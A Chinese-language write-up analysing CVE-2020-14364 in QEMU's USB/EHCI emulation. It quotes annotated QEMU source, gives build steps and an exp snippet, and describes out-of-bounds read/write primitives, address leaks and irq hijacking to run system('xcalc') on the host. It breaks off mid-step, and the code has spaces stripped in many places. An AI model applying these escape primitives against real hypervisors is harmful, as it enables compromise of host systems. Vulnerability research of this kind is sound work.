本系列文章是笔者外一共写了四种利用方法,前两种是借鉴的,后两种是网上现未公开的利用
usb1
的利用方式。
CVE-2020-14364
QEMU版本
qemu的版本没什么要求,因为这个漏洞声称对5.2.0之前的版本都适用,所以随便找个qemu版本就行,关于内核和rootfs.img
镜像不再多说,但是这次涉及到usb设备的制作
第一种思路
环境配置
第二种思路需要qemu启动时加载qxl-vga设备,我们需要在编译qemu之前安装spice,如果不走这个思路的话可以跳过,直接编译qemu,但是记得去掉--enable-spice
参数
以下来自
#有一些依赖需要安装
#1.安装spice-protocol:
wget https://spice-space.org/download/releases/spice-protocol-0.12.10.tar.bz2
tar xvf spice-protocol-0.12.10.tar.bz2
cd spice-protocol-0.12.10/
./configure
make
sudomake install
#2.安装celt:
wget http://downloads.us.xiph.org/releases/celt/celt-0.5.1.3.tar.gz
tar zxvf celt-0.5.1.3.tar.gz
cd celt-0.5.1.3/
./configure
make
sudomake install
#别的依赖
sudo apt install libjpeg-dev
sudo apt-get install libsasl2-dev
#安装spice-server
wget https://spice-space.org/download/releases/spice-server/spice-0.12.7.tar.bz2
tar xvf spice-0.12.7.tar.bz2
cd spice-0.12.7/
./configure
make
sudomake install
然后我们就可以编译qemu源码了
tar -xvf qemu-xxxx.tar.xz
cd qemu-xxxx
./configure --enable-kvm--enable-debug--target-list=x86_64-softmmu --disable-werror (可选 --enable-spice)
make-j4
make install
制作usb设备
qemu-img create -f raw usb.img 32M
mkfs.vfat usb.img
启动
漏洞分析
首先我们通过上面那张图可以注意到,过大的s->setup_len
会进行返回,但s->setup_len
已经被赋值了,该处的检查没有起到效果,说白了就是这个检查没有什么卵用,为什么这么说呢?因为这个函数的功能本来就是获得s->setup_len
而已,真正的输入和输出在另外两个函数,那么我们可以控制这个长度然后进行溢出,重点就是看溢出到哪,控制什么了,我们先看官方给的解释
USB总线通过创建一个USBpacket对象来和USB设备通信
数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配,传送的长度由s->setup_len限制
我们来看看这两个结构体外加一个函数,因为我用的是4.0.0版qemu,所以贴的源码也是这一版本的
/* definition of a USB device */
structUSBDevice {
DeviceStateqdev;
USBPort*port;
char*port_path;
char*serial;
void*opaque;
uint32_tflags;
/* Actual connected speed */
intspeed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
intspeedmask;
uint8_taddr;
charproduct_desc[32];
intauto_attach;
boolattached;
int32_tstate;
uint8_tsetup_buf[8];
uint8_tdata_buf[4096]; //data_buf
int32_tremote_wakeup;
int32_tsetup_state;
int32_tsetup_len; //setup_len
int32_tsetup_index;
USBEndpointep_ctl;
USBEndpointep_in[USB_MAX_ENDPOINTS];
USBEndpointep_out[USB_MAX_ENDPOINTS];
QLIST_HEAD(, USBDescString) strings;
constUSBDesc*usb_desc; /* Overrides class usb_desc if not NULL */
constUSBDescDevice*device;
intconfiguration;
intninterfaces;
intaltsetting[USB_MAX_INTERFACES];
constUSBDescConfig*config;
constUSBDescIface*ifaces[USB_MAX_INTERFACES];
};
==========================================================================
/* Structure used to hold information about an active USB packet. */
structUSBPacket {
/* Data fields for use by the driver. */
intpid;
uint64_tid;
USBEndpoint*ep;
unsignedintstream;
QEMUIOVectoriov;
uint64_tparameter; /* control transfers */
boolshort_not_ok;
boolint_req;
intstatus; /* USB_RET_* status code */
intactual_length; /* Number of bytes actually transferred */
/* Internal use by the USB layer. */
USBPacketStatestate;
USBCombinedPacket*combined;
QTAILQ_ENTRY(USBPacket) queue;
QTAILQ_ENTRY(USBPacket) combined_entry;
};
======================================================================
voidusb_packet_copy(USBPacket*p, void*ptr, size_tbytes)
{
QEMUIOVector*iov=p->combined?&p->combined->iov : &p->iov;
assert(p->actual_length>=0);
assert(p->actual_length+bytes<=iov->size);
switch (p->pid) {
caseUSB_TOKEN_SETUP:
caseUSB_TOKEN_OUT:
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
caseUSB_TOKEN_IN:
iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
default:
fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);
abort();
}
p->actual_length+=bytes;
}
另外通过看上面那个图得到的漏洞函数
staticvoiddo_token_setup(USBDevice*s, USBPacket*p)
{
intrequest, value, index;
if (p->iov.size!=8) {
p->status=USB_RET_STALL;
return;
}
usb_packet_copy(p, s->setup_buf, p->iov.size); //调用usb_packet_copy
s->setup_index=0;
p->actual_length=0;
s->setup_len= (s->setup_buf[7] <<8) |s->setup_buf[6];
if (s->setup_len>sizeof(s->data_buf)) { //这个检查无效
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
s->setup_len, sizeof(s->data_buf));
p->status=USB_RET_STALL;
return;
}
request= (s->setup_buf[0] <<8) |s->setup_buf[1];
value= (s->setup_buf[3] <<8) |s->setup_buf[2];
index= (s->setup_buf[5] <<8) |s->setup_buf[4];
if (s->setup_buf[0] &USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status==USB_RET_ASYNC) {
s->setup_state=SETUP_STATE_SETUP;
}
if (p->status!=USB_RET_SUCCESS) {
return;
}
if (p->actual_length<s->setup_len) {
s->setup_len=p->actual_length;
}
s->setup_state=SETUP_STATE_DATA;
} else {
if (s->setup_len==0)
s->setup_state=SETUP_STATE_ACK;
else
s->setup_state=SETUP_STATE_DATA;
}
p->actual_length=8;
}
===========================================================
voidusb_device_handle_control(USBDevice*dev, USBPacket*p, intrequest,
intvalue, intindex, intlength, uint8_t*data)
{
USBDeviceClass*klass=USB_DEVICE_GET_CLASS(dev);
if (klass->handle_control) {
klass->handle_control(dev, p, request, value, index, length, data);
}
}
==============================================================
#define USB_DEVICE_GET_CLASS(obj) \
OBJECT_GET_CLASS(USBDeviceClass, (obj), TYPE_USB_DEVICE) //跟着OBJECT_GET_CLASS后面还能跟好长
do_token_setup
相当于是给我们创造一个使得len的长度越界的机会,在这上面调用usb_packet_copy
时我们还未完成len的越界,所以我们找找在do_tocken_setup
之后调用的usb_packet_copy
,这时候其实调试看调用链是很合适的,但当时的笔者还不太清楚断点下在哪。
出人意料的是,do_token_setup
只被调用一次,为我看源码找答案带来了极大的方便
在这里
staticvoidusb_process_one(USBPacket*p)
{
USBDevice*dev=p->ep->dev;
/*
* Handlers expect status to be initialized to USB_RET_SUCCESS, but it
* can be USB_RET_NAK here from a previous usb_process_one() call,
* or USB_RET_ASYNC from going through usb_queue_one().
*/
p->status=USB_RET_SUCCESS;
if (p->ep->nr==0) {
/* control pipe */
if (p->parameter) {
do_parameter(dev, p);
return;
}
switch (p->pid) {
caseUSB_TOKEN_SETUP:
do_token_setup(dev, p);
break;
caseUSB_TOKEN_IN:
do_token_in(dev, p);
break;
caseUSB_TOKEN_OUT:
do_token_out(dev, p);
break;
default:
p->status=USB_RET_STALL;
}
} else {
/* data pipe */
usb_device_handle_data(dev, p);
}
}
那我们来看看他附近的函数,看调用usb_process_one
之后有没有再调用usb_packet_copy
的,我觉得八成是有的,就是这种方法找起来太过痛苦
staticvoiddo_token_in(USBDevice*s, USBPacket*p)
{
intrequest, value, index;
assert(p->ep->nr==0);
request= (s->setup_buf[0] <<8) |s->setup_buf[1];
value= (s->setup_buf[3] <<8) |s->setup_buf[2];
index= (s->setup_buf[5] <<8) |s->setup_buf[4];
switch(s->setup_state) {
caseSETUP_STATE_ACK:
if (!(s->setup_buf[0] &USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status==USB_RET_ASYNC) {
return;
}
s->setup_state=SETUP_STATE_IDLE;
p->actual_length=0;
}
break;
caseSETUP_STATE_DATA:
if (s->setup_buf[0] &USB_DIR_IN) {
intlen=s->setup_len-s->setup_index;
if (len>p->iov.size) {
len=p->iov.size;
}
usb_packet_copy(p, s->data_buf+s->setup_index, len); //中!!!
s->setup_index+=len;
if (s->setup_index>=s->setup_len) {
s->setup_state=SETUP_STATE_ACK;
}
return;
}
s->setup_state=SETUP_STATE_IDLE;
p->status=USB_RET_STALL;
break;
default:
p->status=USB_RET_STALL;
}
}
======================================================================
staticvoiddo_token_out(USBDevice*s, USBPacket*p)
{
assert(p->ep->nr==0);
switch(s->setup_state) {
caseSETUP_STATE_ACK:
if (s->setup_buf[0] &USB_DIR_IN) {
s->setup_state=SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;
caseSETUP_STATE_DATA:
if (!(s->setup_buf[0] &USB_DIR_IN)) {
intlen=s->setup_len-s->setup_index;
if (len>p->iov.size) {
len=p->iov.size;
}
usb_packet_copy(p, s->data_buf+s->setup_index, len); //中了!!!
s->setup_index+=len;
if (s->setup_index>=s->setup_len) {
s->setup_state=SETUP_STATE_ACK;
}
return;
}
s->setup_state=SETUP_STATE_IDLE;
p->status=USB_RET_STALL;
break;
default:
p->status=USB_RET_STALL;
}
}
这俩函数也是只在那里被调用一次,有预感会中,没想到真中了,那我们来看看这俩函数是干嘛的,我看到两次传入的len都是这么赋值的
intlen=s->setup_len-s->setup_index;
if (len>p->iov.size) {
len=p->iov.size;
}
也就是说,如果p->iov.size
不可控,那我们就很有可能无法很好的利用这一漏洞,甚至完全利用不了,当然,这能发出来作为cve肯定是能利用的,如果不出意外,p->iov.size
就是可控的,我们试试看能不能找到控制其大小的地方
首先知道p是USBPacket
结构体,iov是QEMUVector
结构体,然后我看了一下
那么话收回来,我们现在看那两个函数是干嘛的,do_token_out
和do_token_in
看in和out应该是和io有关,我们看看上面的一个注释
/*
* Handlers expect status to be initialized to USB_RET_SUCCESS, but it
* can be USB_RET_NAK here from a previous usb_process_one() call,
* or USB_RET_ASYNC from going through usb_queue_one().
*/
没有得到我们想要的信息,那就看看那两个作为调用函数的依据的宏有没有注释一些东西
#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN 0x69 /* device -> host */
#define USB_TOKEN_OUT 0xe1 /* host -> device */
找到了,看到很明显的就是数据交互的函数,结果和猜的一样
那么也就是说,我们很有可能获得了任意长度写入读出的能力,在这种情况下,我们可以看看数据是存在哪个结构体中的哪个变量里,周围有没有覆盖的好对象
从do_token_in
开始
usb_packet_copy(p, s->data_buf+s->setup_index, len);
回上面去看源码,可以看到在usb_packet_copy中还要根据p的pid调用函数,p的pid有这么三种,在上面贴过
#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN 0x69 /* device -> host */
#define USB_TOKEN_OUT 0xe1 /* host -> device */
================================================
usb_packet_copy:
switch (p->pid) {
caseUSB_TOKEN_SETUP:
caseUSB_TOKEN_OUT:
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
caseUSB_TOKEN_IN:
iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
其实调用iov_to_buf
和调用iov_from_buf
的条件和之前的do_token_out
以及do_token_in
是一致的
关于iov_to_buf
和iov_from_buf
的源码我就不贴了,用处不大,贴一下这个
iov_to_buf(conststructiovec*iov, constunsignedintiov_cnt,
size_toffset, void*buf, size_tbytes)
...
memcpy(buf, iov[0].iov_base+offset, bytes);
...
iov_from_buf(conststructiovec*iov, unsignedintiov_cnt,
size_toffset, constvoid*buf, size_tbytes)
...
memcpy(iov[0].iov_base+offset, buf, bytes);
...
我们再回头看p的结构体,看iov附近有什么好溢出的
unsignedintstream;
QEMUIOVectoriov;
uint64_tparameter; /* control transfers */
很遗憾,我没有找到什么有价值的利用的地方,再看另一结构体
uint8_tsetup_buf[8];
uint8_tdata_buf[4096];
int32_tremote_wakeup;
int32_tsetup_state;
int32_tsetup_len;
int32_tsetup_index;
USBEndpointep_ctl;
USBEndpointep_in[USB_MAX_ENDPOINTS];
USBEndpointep_out[USB_MAX_ENDPOINTS];
我在网上搜 USBEndpoint ep_ctl
稍微找了下没找到有用的信息,关于驱动我完全就是小白
可以从下方的ep_ctl->dev获取到usbdevice的对象地址
通过usbdevice的对象地址我们可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写
这点不难理解,USBDevice
就是我们上面的结构体,得到结构体基址后加上偏移就能得到其中成员的地址,我们首先肯定是越界读取来获得这一地址,然后再越界去覆盖一些成员,覆盖setup_index
是因为写入的地址等于setup_index+data_buf
,所以构造一下就能任意地址写
我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。由于我们在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。
绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取。
改变setup_buf[0]
为读入方向就能读取,并且对setup_index
修改就能任意地址读
利用手法
- 通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址,再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。该地址位于程序data节区。这时,我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。
- 在data_buf中伪造irq结构。
- 以伪造结构劫持ehcistate中的irq对象。
- 通过mmio读取寄存器以触发ehci_update_irq,执行system(“ xcalc”)。完成利用。
想看懂exp只有上面的利用过程还不够,后面主要讲解任意读写原语的构造
构造任意读写原语
structEHCIState {
USBBusbus;
DeviceState*device;
qemu_irqirq;
MemoryRegionmem;
AddressSpace*as;
[ ... ]
/*
* EHCI spec version 1.0 Section 2.3
* Host Controller Operational Registers
*/
uint8_tcaps[CAPA_SIZE];
union {
uint32_topreg[0x44/sizeof(uint32_t)];
struct {
uint32_tusbcmd;
uint32_tusbsts;
uint32_tusbintr;
uint32_tfrindex;
uint32_tctrldssegment;
uint32_tperiodiclistbase;
uint32_tasynclistaddr;
uint32_tnotused[9];
uint32_tconfigflag;
};
};
重点是opreg
,我们得到mmio_fd之后就映射一块内存,其实就是映射usb设备的内存,这样就让cpu访问usb直接访问内存,然后在usb的初始化中,对EHCIState
结构中的opreg
的基地址设置在这块内存的偏移0x20
staticvoidusb_ehci_pci_init(Object*obj)
{
DeviceClass*dc=OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);
EHCIPCIState*i=PCI_EHCI(obj);
EHCIState*s=&i->ehci;
s->caps[0x09] =0x68; /* EECP */
s->capsbase=0x00;
s->opregbase=0x20; //这里
s->portscbase=0x44;
s->portnr=NB_PORTS;
if (!dc->hotpluggable) {
s->companion_enable=true;
}
usb_ehci_init(s, DEVICE(obj)); //调用了这个
}
再往下看看这个调用
voidusb_ehci_init(EHCIState*s, DeviceState*dev)
{
/* 2.2 host controller interface version */
s->caps[0x00] = (uint8_t)(s->opregbase-s->capsbase);
s->caps[0x01] =0x00;
s->caps[0x02] =0x00;
s->caps[0x03] =0x01; /* HC version */
s->caps[0x04] =s->portnr; /* Number of downstream ports */
s->caps[0x05] =0x00; /* No companion ports at present */
s->caps[0x06] =0x00;
s->caps[0x07] =0x00;
s->caps[0x08] =0x80; /* We can cache whole frame, no 64-bit */
s->caps[0x0a] =0x00;
s->caps[0x0b] =0x00;
QTAILQ_INIT(&s->aqueues);
QTAILQ_INIT(&s->pqueues);
usb_packet_init(&s->ipacket);
memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE);
memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,
"capabilities", CAPA_SIZE);
memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s, //this
"operational", s->portscbase);
memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,
"ports", 4*s->portnr);
memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);
memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);
memory_region_add_subregion(&s->mem, s->opregbase+s->portscbase,
&s->mem_ports);
}
在usb_ehci_init
函数中又注册了对opreg
区域读写的操作函数,
staticconstMemoryRegionOpsehci_mmio_opreg_ops= {
.read=ehci_opreg_read,
.write=ehci_opreg_write,
.valid.min_access_size=4,
.valid.max_access_size=4,
.endianness=DEVICE_LITTLE_ENDIAN,
};
对opreg的写操作会调用到ehci_opreg_write
函数
如
mmio_write(0x20, 0xddaa)
; 会调用ehci_opreg_write
,此时传入的addr为0(0x20-0x20=0),表示对opreg的偏移0,后续根据addr进行选择处理,0进入USBCMD
流程,即对usbcmd进行覆写,将EHCIState->usbcmd
改写成0xddaa
下面看exp中的set_EHCIState
voidset_EHCIState(){
//ehci->periodiclistbase被我们填充为dmabuf的物理地址
mmio_write(0x34, virt2phys(dmabuf)); // periodiclistbase
//设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE 进入ehci_advance_periodic_state
mmio_write(0x20, USBCMD_RUNSTOP|USBCMD_PSE); // usbcmd
sleep(1);
}
首先我们看为什么设置usbcmd为USBCMD_RUNSTOP | USBCMD_PSE
#0 do_token_setup
#1 0x0000563a32c8ef9e in usb_process_one
#2 0x0000563a32c8f1a9 in usb_handle_packet
#3 0x0000563a32ca0847 in ehci_execute
#4 0x0000563a32ca1b62 in ehci_state_execute
#5 0x0000563a32ca205f in ehci_advance_state
#6 0x0000563a32ca24a9 in ehci_advance_periodic_state
#7 0x0000563a32ca279f in ehci_frame_timer //<--------------------
#8 0x0000563a32d28e50 in timerlist_run_timers
#9 0x0000563a32d28e99 in qemu_clock_run_timers
#10 0x0000563a32d2919e in qemu_clock_run_all_timers
#11 0x0000563a32d27b47 in main_loop_wait
#12 0x0000563a32b5e021 in main_loop
#13 0x0000563a32b65d2d in main
#14 0x00007f23c5afbbf7 in __libc_start_main
#15 0x0000563a32a11d6a in _start
调用链来自,我自己下的断点没调出来,我们通过调用链可以看到,调用ehci_advance_periodic_state
需要先通过ehci_work_bh
,看看在ehci_work_bh
中什么情况会调用ehci_advance_periodic_state
staticvoidehci_work_bh(void*opaque)
{
EHCIState*ehci=opaque;
intneed_timer=0;
int64_texpire_time, t_now;
uint64_tns_elapsed;
uint64_tuframes, skipped_uframes;
[ ... ]
if (ehci_periodic_enabled(ehci) ||ehci->pstate!=EST_INACTIVE) { //这里
[ ... ]
}
===================================================================
staticinlineboolehci_periodic_enabled(EHCIState*s)
{
returnehci_enabled(s) && (s->usbcmd&USBCMD_PSE);
}
==================================================================
staticinlineboolehci_enabled(EHCIState*s)
{
returns->usbcmd&USBCMD_RUNSTOP;
}
我们可以看到需要usbcmd设置为USBCMD_RUNSTOP | USBCMD_PSE
才能进入ehci_advance_periodic_state
下面看为什么要ehci->periodiclistbase
被填充为dmabuf
的物理地址
staticvoidehci_advance_periodic_state(EHCIState*ehci)
{
uint32_tentry;
uint32_tlist;
constintasync=0;
switch(ehci_get_state(ehci, async)) {
caseEST_INACTIVE:
if (!(ehci->frindex&7) &&ehci_periodic_enabled(ehci)) {
ehci_set_state(ehci, async, EST_ACTIVE);
// No break, fall through to ACTIVE
} else
break;
caseEST_ACTIVE:
if (!(ehci->frindex&7) &&!ehci_periodic_enabled(ehci)) {
ehci_queues_rip_all(ehci, async);
ehci_set_state(ehci, async, EST_INACTIVE);
break;
}
list=ehci->periodiclistbase&0xfffff000; //这里
/* check that register has been set */
if (list==0) {
break;
}
list|= ((ehci->frindex&0x1ff8) >>1); //这里
if (get_dwords(ehci, list, &entry, 1) <0) { //这里
break;
}
DPRINTF("PERIODIC state adv fr=%d. [%08X] -> %08X\n",
ehci->frindex/8, list, entry);
ehci_set_fetch_addr(ehci, async,entry);//这里
ehci_set_state(ehci, async, EST_FETCHENTRY);
ehci_advance_state(ehci, async);
ehci_queues_rip_unused(ehci, async);
break;
default:
/* this should only be due to a developer mistake */
fprintf(stderr, "ehci: Bad periodic state %d. "
"Resetting to active\n", ehci->pstate);
g_assert_not_reached();
}
}
list = ehci->periodiclistbase & 0xfffff000; + list |= ((ehci->frindex & 0x1ff8) >> 1);
使得list为virt2phys(dmabuf)+4
get_dwords(ehci, list, &entry, 1)
将list上的内容写入entry ( dmabuf赋值时 entry = dmabuf + 4;
),所以我们在dmabuf + 4
填充了virt2phys(qh)+0x2
; 作为entry (*entry = virt2phys(qh)+0x2;)
之后在ehci_set_fetch_addr(ehci, async,entry);
中
static void ehci_set_fetch_addr(EHCIState *s, int async, uint32_t addr)
{
if (async) {
s->a_fetch_addr = addr;
} else {
s->p_fetch_addr = addr;
}
}
将list上的内容,即virt2phys(qh)+2
写入s->p_fetch_addr
这里的entry为什么要多个+2
是因为
staticvoidehci_advance_periodic_state(EHCIState*ehci)
[...]
ehci_set_fetch_addr(ehci, async,entry); //这里得到entry
ehci_set_state(ehci, async, EST_FETCHENTRY); //这里设置state为EST_FETCHENTRY,所以进入下面的函数处理分支会调用这个状态对应的
ehci_advance_state(ehci, async); //进这里看
ehci_queues_rip_unused(ehci, async);
staticvoidehci_advance_state(EHCIState*ehci, intasync)
{
EHCIQueue*q=NULL;
intitd_count=0;
intagain;
do {
switch(ehci_get_state(ehci, async)) {
caseEST_WAITLISTHEAD:
again=ehci_state_waitlisthead(ehci, async);
break;
caseEST_FETCHENTRY: //第一次运行到这里
again=ehci_state_fetchentry(ehci, async); //进去看看
break;
caseEST_FETCHQH: //这里
q=ehci_state_fetchqh(ehci, async); //得到qh
if (q!=NULL) {
assert(q->async==async);
again=1;
} else {
again=0;
}
break;
[ ... ]
============================================================
staticintehci_state_fetchentry(EHCIState*ehci, intasync)
{
intagain=0;
uint32_tentry=ehci_get_fetch_addr(ehci, async);
[ ... ]
switch (NLPTR_TYPE_GET(entry)) {
caseNLPTR_TYPE_QH: //这里
ehci_set_state(ehci, async, EST_FETCHQH); //这里设置之后回到ehci_advance_state就能调用那个返回qh的分支了
again=1;
break;
[ ... ]
我们的目的是得到qh结构,即要运行EST_FETCHQH
这一分支,第一次进来时,运行ehci_state_fetchentry
得到entry,内容和s->p_fetchaddr
相等,是virt2phys(qh)+0x2
,并且在ehci_state_fetchentry
中可以设定下次循环调用获得qh的分支,条件是NLPTR_TYPE_GET(entry)
和NLPTR_TYPE_QH
值相等,看下二者定义
#define NLPTR_TYPE_QH 1 // queue head
#define NLPTR_TYPE_GET(x) (((x) >> 1) & 3)
对于NLPTR_TYPE_GET(x)
在这里就是 NLPTR_TYPE_GET(entry)
,即(virt2phys(qh)+0x2)>>1&3
,要得到1,显然加上2是能确保我们在这里百分百能达成条件的,所以我们在这里就能设置响应state
然后调用ehci_state_fetchqh
得到qh
staticEHCIQueue*ehci_state_fetchqh(EHCIState*ehci, intasync)
{
uint32_tentry;
EHCIQueue*q;
EHCIqhqh;
entry=ehci_get_fetch_addr(ehci, async);
q=ehci_find_queue_by_qh(ehci, entry, async);
if (q==NULL) {
q=ehci_alloc_queue(ehci, entry, async);
}
q->seen++;
if (q->seen>1) {
/* we are going in circles -- stop processing */
ehci_set_state(ehci, async, EST_ACTIVE);
q=NULL;
gotoout;
}
if (get_dwords(ehci, NLPTR_GET(q->qhaddr),
(uint32_t*) &qh, sizeof(EHCIqh) >>2) <0) {
q=NULL;
gotoout;
}
ehci_trace_qh(q, NLPTR_GET(q->qhaddr), &qh);
/*
* The overlay area of the qh should never be changed by the guest,
* except when idle, in which case the reset is a nop.
*/
if (!ehci_verify_qh(q, &qh)) {
if (ehci_reset_queue(q) >0) {
ehci_trace_guest_bug(ehci, "guest updated active QH");
}
}
q->qh=qh;
q->transact_ctr=get_field(q->qh.epcap, QH_EPCAP_MULT);
if (q->transact_ctr==0) { /* Guest bug in some versions of windows */
q->transact_ctr=4;
}
if (q->dev==NULL) {
q->dev=ehci_find_device(q->ehci,
get_field(q->qh.epchar, QH_EPCHAR_DEVADDR));
}
if (async&& (q->qh.epchar&QH_EPCHAR_H)) {
/* EHCI spec version 1.0 Section 4.8.3 & 4.10.1 */
if (ehci->usbsts&USBSTS_REC) {
ehci_clear_usbsts(ehci, USBSTS_REC);
} else {
DPRINTF("FETCHQH: QH 0x%08x. H-bit set, reclamation status reset"
" - done processing\n", q->qhaddr);
ehci_set_state(ehci, async, EST_ACTIVE);
q=NULL;
gotoout;
}
}
#if EHCI_DEBUG
if (q->qhaddr!=q->qh.next) {
DPRINTF("FETCHQH: QH 0x%08x (h %x halt %x active %x) next 0x%08x\n",
q->qhaddr,
q->qh.epchar&QH_EPCHAR_H,
q->qh.token&QTD_TOKEN_HALT,
q->qh.token&QTD_TOKEN_ACTIVE,
q->qh.next);
}
#endif
if (q->qh.token&QTD_TOKEN_HALT) {
ehci_set_state(ehci, async, EST_HORIZONTALQH);
} elseif ((q->qh.token&QTD_TOKEN_ACTIVE) &&
(NLPTR_TBIT(q->qh.current_qtd) ==0)) {
q->qtdaddr=q->qh.current_qtd;
ehci_set_state(ehci, async, EST_FETCHQTD);
} else {
/* EHCI spec version 1.0 Section 4.10.2 */
ehci_set_state(ehci, async, EST_ADVANCEQUEUE);
}
out:
returnq;
}
然后我们就得到了qh地址,之后就会沿着上面给出的调用链继续运行下去,一直到触发漏洞函数
接下来我们看任意读写原语的构造过程,只要这个看懂了,exp其余部分就自然懂了
越界读
还记得我们的漏洞函数是什么吗,没错,就是对赋值长度的检查形同虚设引起usb_packet_copy
任意长度赋值,那我们先要设置赋值的长度,设置一个比较长的长度,把漏洞函数拿下来方便看
staticvoiddo_token_setup(USBDevice*s, USBPacket*p)
{
usb_packet_copy(p, s->setup_buf, p->iov.size); //调用usb_packet_copy
s->setup_index=0;
p->actual_length=0;
s->setup_len= (s->setup_buf[7] <<8) |s->setup_buf[6]; //长度是由这俩参数设置的
[...]
if (s->setup_buf[0] &USB_DIR_IN) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
[ ... ]
}
我们可以先调用一次这个函数,使得设置s->setup_len
的长度为越界长度,要进入do_token_setup
需要通过设置qtd->token
值
#define QTD_TOKEN_PID_MASK 0x00000300
#define QTD_TOKEN_PID_SH 8
#define USB_TOKEN_SETUP 0x2d
#define USB_TOKEN_IN 0x69 /* device -> host */
#define USB_TOKEN_OUT 0xe1 /* host -> device */
staticintehci_get_pid(EHCIqtd*qtd)
{
switch (get_field(qtd->token, QTD_TOKEN_PID)) {
case0:
returnUSB_TOKEN_OUT;
case1:
returnUSB_TOKEN_IN; //do_token_in
case2:
returnUSB_TOKEN_SETUP; //进do_token_setup设置 s->setup_len
default:
fprintf(stderr, "bad token\n");
return0;
}
}
==============================================
#define get_field(data, field) \
(((data) & field##_MASK) >> field##_SH)
设置qtd->token
为 2 << 8
即可进入do-token_setup
分支,之后设置setup_buf[7]
和setup_buf[6]
构造要越界的长度
然后设置qtd->token
为 1<<8
,进入do_token_in
,另外在do_token_in
中有别的条件需要满足
staticvoiddo_token_in(USBDevice*s, USBPacket*p)
{
switch(s->setup_state) {
caseSETUP_STATE_ACK:
if (!(s->setup_buf[0] &USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status==USB_RET_ASYNC) {
return;
}
s->setup_state=SETUP_STATE_IDLE;
p->actual_length=0;
}
break;
caseSETUP_STATE_DATA:
if (s->setup_buf[0] &USB_DIR_IN) { //这里,一个约束条件
intlen=s->setup_len-s->setup_index;
if (len>p->iov.size) {
len=p->iov.size;
}
usb_packet_copy(p, s->data_buf+s->setup_index, len); //这里
s->setup_index+=len;
if (s->setup_index>=s->setup_len) {
s->setup_state=SETUP_STATE_ACK;
}
return;
}
s->setup_state=SETUP_STATE_IDLE;
p->status=USB_RET_STALL;
break;
}
可以看到,要设置setup_buf[0]
为USB_DIR_IN
,才能调用usb_packet_copy
,将s->data_buf
复制到qtd->bufptr[0]
,进行泄露,达到越界读的目的。其中p->iov.size
大小由 qtd->token = size << QTD_TOKEN_TBYTES_SH
控制
越界写
同上面的一样要先进setup设置长度,再设置qtd->token 为 0<<8,进入do_token_out分支,而且这里也有额外约束条件
staticvoiddo_token_out(USBDevice*s, USBPacket*p)
{
assert(p->ep->nr==0);
switch(s->setup_state) {
caseSETUP_STATE_ACK:
if (s->setup_buf[0] &USB_DIR_IN) {
s->setup_state=SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;
caseSETUP_STATE_DATA:
if (!(s->setup_buf[0] &USB_DIR_IN)) { //约束条件
intlen=s->setup_len-s->setup_index;
if (len>p->iov.size) {
len=p->iov.size;
}
usb_packet_copy(p, s->data_buf+s->setup_index, len);
s->setup_index+=len;
if (s->setup_index>=s->setup_len) {
s->setup_state=SETUP_STATE_ACK;
}
return;
}
s->setup_state=SETUP_STATE_IDLE;
p->status=USB_RET_STALL;
break;
}
需要设置setup_buf[0]为USB_DIR_OUT
,然后就能达到将qtd->bufptr[0]
复制到s->data_buf
进行覆写的目的
这里需要注意的是经过几次调用后,s->setup_index >= s->setup_len 会满足条件,s->setup_state 会被设置成 SETUP_STATE_ACK,可以通过调用一次do_token_setup,设置正常长度,将s->setup_state重新设置成SETUP_STATE_DATA
任意读原语
- 设置越界长度为
0x1010
,过程和上面的设置长度一样,都是进入do_token_setup
设置(通过设置setup_buf[6、7]
) - 进行越界写,将
setup_len
设置成0x1010
(这里不同上面,这里是利用越界写写入的值,而不是用那俩参数设置的),将setup_index
设置成0xfffffff8-0x1010
, 因为do_token_out
中调用usb_packet_copy
之后会有s->setup_index += len
操作,此时s->setup_index
就会被设置成0xfffffff8
- 再次进行越界写,此时从
data_buf-8
处开始写,覆盖了setup
字段,将setup_buf[0]
设置成USB_DIR_IN
,并且将setup_index
覆盖成目标地址偏移-0x1018,因为也要经过s->setup_index += len
;操作。并且本次进入case SETUP_STATE_DATA
时:len = s->setup_len - s->setup_index
操作(0x1010-(-0x8)=0x1018)
